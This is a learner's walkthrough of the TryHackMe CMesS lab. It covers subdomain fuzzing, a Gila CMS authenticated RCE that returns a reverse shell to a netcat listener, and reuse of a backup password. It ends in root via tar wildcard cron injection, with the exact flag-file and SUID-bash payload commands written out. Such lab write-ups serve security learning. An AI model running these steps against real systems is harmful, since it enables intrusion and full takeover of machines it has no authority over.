TryHackMe: CMesS Walkthrough
Complete walkthrough of TryHackMe CMesS machine from a learner perspective. Covers virtual host enumeration with ffuf, exploiting Gila CMS authenticated RCE, finding credentials in /opt, and privilege escalation via tar wildcard cron injection.
Overview
CMesS is a medium-rated Linux machine on TryHackMe created by whitecr0wz.
When I first started this room, it reminded me of a classic web application pentest scenario: you encounter a custom CMS, hit a brick wall on the main website, and have to remember that web servers often host more than one virtual host.
Solving CMesS was a huge milestone for me because it was the first time I saw a real-world demonstration of tar wildcard command injection in a cron job. Reading about wildcard abuse on GTFOBins is one thing, but actually seeing the cron daemon execute your checkpoint action as root is an amazing “aha!” moment.
Here is my full walkthrough of how I worked through CMesS, including where I got stuck and the lessons I took away.
1. Reconnaissance & Initial Port Scanning
I began by setting up my /etc/hosts file with the target machine IP address so I could browse by hostname:
1
echo "10.10.70.174 cmess.thm" | sudo tee -a /etc/hosts
Next, I ran an Nmap scan to see which services were listening:
1
sudo nmap -sCV -p- -T4 -oN nmap_cmess.txt 10.10.70.174
The scan returned two open ports:
1
2
3
4
5
6
7
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 3 disallowed entries
|_/src/ /themes/ /lib/
|_http-generator: Gila CMS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Key takeaways from the scan:
- Port 22 (SSH): Running OpenSSH 7.2p2. Usually secure unless we find valid credentials.
- Port 80 (HTTP): Apache serving Gila CMS.
- robots.txt: Revealed three disallowed folders:
/src/,/themes/, and/lib/.
2. Web Enumeration & Subdomain Fuzzing
Navigating to http://cmess.thm presented a standard Gila CMS blog with some default sample posts.
I ran a directory scan using ffuf to look for hidden files or admin panels:
1
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://cmess.thm/FUZZ -fc 404
This highlighted /login and /admin. Browsing to /login presented an authentication form requiring an email and password. I tried standard defaults (admin:admin, admin:password, root:root), but none worked.
At this stage, the main website felt like a dead end. Whenever that happens, my standard checklist reminds me: always check for virtual hosts and subdomains.
I ran ffuf with the Host header to fuzz for subdomains:
1
2
3
4
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-u http://10.10.70.174 \
-H "Host: FUZZ.cmess.thm" \
-fw 522
Filtering by word count (-fw 522 to filter out default response noise) immediately surfaced a hit:
1
dev [Status: 200, Size: 933, Words: 107, Lines: 31]
I added dev.cmess.thm to /etc/hosts:
1
echo "10.10.70.174 dev.cmess.thm" | sudo tee -a /etc/hosts
Visiting http://dev.cmess.thm in my browser revealed an internal development chat log. Andre had left behind some critical setup notes:
- Username / Email:
andre@cmess.thm - Password:
KPFTN_f2yxe%
This was the credential breakthrough I needed.
3. Initial Foothold: Gila CMS Authenticated RCE
With Andre’s credentials in hand, I headed back to http://cmess.thm/admin and logged in successfully.
Looking at the admin dashboard footer, the version was clearly visible: Gila CMS 1.10.9.
I searched Exploit-DB using searchsploit to see if this specific version had known vulnerabilities:
1
searchsploit "Gila CMS 1.10.9"
It returned an authenticated Remote Code Execution exploit: php/webapps/51569.py (CVE-2020-13160).
The vulnerability exists in the file manager / theme editor functionality, where authenticated users can upload or write PHP files into the web root.
I mirrored the exploit script locally:
1
searchsploit -m 51569.py
I started a netcat listener on my attack box:
1
nc -lvnp 4444
Then I ran the Python exploit script:
1
python3 51569.py
The script prompted for the target URL, credentials, and my listener details:
- Target:
http://cmess.thm - Email:
andre@cmess.thm - Password:
KPFTN_f2yxe% - LHOST:
10.9.x.x(my tun0 IP) - LPORT:
4444
Within a few seconds, the script uploaded the payload, triggered it, and caught a reverse shell:
1
2
3
Connection from 10.10.70.174:41234 received!
whoami
www-data
4. Upgrading Shell & Lateral Movement to User Andre
First things first: I spawned a fully interactive TTY shell with Python:
1
2
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
Since I was running as www-data, I needed to pivot to the user andre to access his home directory and user flag.
I started manual enumeration by checking common directories where backup files or misconfigured scripts often hide: /var/backups, /tmp, and /opt.
Checking /opt:
1
ls -la /opt
I spotted a hidden file: .password.bak. Reading its contents:
1
cat /opt/.password.bak
1
2
andres backup password
UQfsdCB7aAP6
I tested switching users with su andre and logging in via SSH:
1
ssh andre@10.10.70.174
Password UQfsdCB7aAP6 worked. I was now logged in as andre over a stable SSH session.
I grabbed the user flag:
1
cat /home/andre/user.txt
5. Privilege Escalation: Exploiting Tar Wildcard Cron Job
Now came the path to root. I checked Andre’s sudo permissions with sudo -l, but Andre had no sudo privileges configured.
Next, I looked at scheduled system tasks in /etc/crontab:
1
cat /etc/crontab
One cron job immediately jumped out:
1
*/2 * * * * root cd /home/andre/backup && tar -zcf /tmp/andre_backup.tar.gz *
Understanding the Vulnerability
Let us break down what this cron job does:
- Every 2 minutes,
rootchanges directory into/home/andre/backup. rootrunstar -zcf /tmp/andre_backup.tar.gz *.
Notice the wildcard * at the end!
In Linux, the shell expands the wildcard * before passing the arguments to the tar command. If there are files in /home/andre/backup named --checkpoint=1 and --checkpoint-action=exec=sh shell.sh, the shell expands the command line to:
1
tar -zcf /tmp/andre_backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh shell.sh [other files...]
tar interprets those filenames as command-line flags rather than file paths.
--checkpoint=1: tells tar to trigger an action after archiving 1 record.--checkpoint-action=exec=sh shell.sh: tells tar to executeshell.shusing the permissions of the user running tar (which isroot!).
Because Andre owns /home/andre/backup, we can create arbitrary files in that folder.
Executing the Exploit
I created a payload script that copies /bin/bash to /tmp/bash and gives it the SUID bit:
1
2
3
cd /home/andre/backup
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > shell.sh
chmod +x shell.sh
Next, I created the two flag files that trick tar:
1
2
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
(Using -- prevents touch from treating the leading dashes as command flags).
Now, I waited for the cron job to run (up to two minutes). After two minutes, I checked /tmp/bash:
1
ls -la /tmp/bash
1
-rwsr-sr-x 1 root root 1037528 Feb 17 21:05 /tmp/bash
The SUID bit was set! I ran the SUID bash binary with the -p (preserve privileges) flag:
1
/tmp/bash -p
1
2
bash-4.3# whoami
root
We are root! I captured the final flag:
1
cat /root/root.txt
What I Learned From This Room
Working through CMesS reinforced several key fundamentals that I now keep top of mind:
- Never skip virtual host enumeration: If port 80 looks like a dead-end default site, always fuzz for subdomains and vhosts. Development subdomains frequently expose credentials, test scripts, or unhardened portals.
- Beware of wildcards in privileged cron jobs: Using wildcards like
*inside scripts run by root is dangerous whenever non-privileged users have write access to that folder. Commands liketar,rsync, andchownhave flags that can execute code or change ownership. - Always check
/optand hidden backup files: Developers often leave quick.bakfiles when troubleshooting. Checkingls -lain/opt,/tmp, and/varshould be part of every initial Linux enumeration checklist.
